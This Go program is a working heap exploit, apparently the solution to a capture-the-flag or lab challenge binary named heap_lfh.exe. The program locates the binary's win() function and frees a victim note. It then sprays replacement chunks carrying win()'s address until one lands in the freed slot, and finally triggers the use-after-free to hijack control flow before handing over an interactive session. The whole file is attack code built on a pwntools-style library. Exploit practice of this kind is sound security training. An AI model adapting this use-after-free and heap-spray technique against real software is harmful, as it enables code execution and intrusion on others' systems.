package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"strings"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in line %q", line)
	}
	hexPart := line[idx+len("addr=0x"):]
	hexPart = bytes.TrimSpace(hexPart)
	return strconv.ParseUint(string(hexPart), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_lfh.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() address: 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_lfh.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	for i := 0; i < 5; i++ {
		if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
			log.Fatalf("SendLine: %v", err)
		}
		if _, err := tube.RecvLine(); err != nil {
			log.Fatalf("RecvLine: %v", err)
		}
	}

	if err := tube.SendLine([]byte("A victim")); err != nil {
		log.Fatalf("SendLine: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine: %v", err)
	}
	victimAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse victim addr: %v", err)
	}
	victimID := 5
	fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)

	if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	payload := bytes.Repeat([]byte{0x41}, 24)
	payload = append(payload, winpwn.P64(winAddr)...)
	payloadHex := winpwn.Enhex(payload)

	const maxAttempts = 64
	victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
	_, _, attempts, ok, err := winpwn.SprayAndFind(
		[]winpwn.SprayResult[uint64]{victim},
		maxAttempts,
		func(attempt int) (winpwn.SprayResult[uint64], error) {
			if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
			}
			resp, err := tube.RecvLine()
			if err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
			}
			if !strings.HasPrefix(string(resp), "OK") {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
			}
			addr, err := parseAddr(resp)
			return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
		},
		func(a, b uint64) bool { return a == b },
	)
	if err != nil {
		log.Fatalf("spray: %v", err)
	}
	if !ok {
		log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
	}
	fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)

	if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}

	tube.Interactive()
}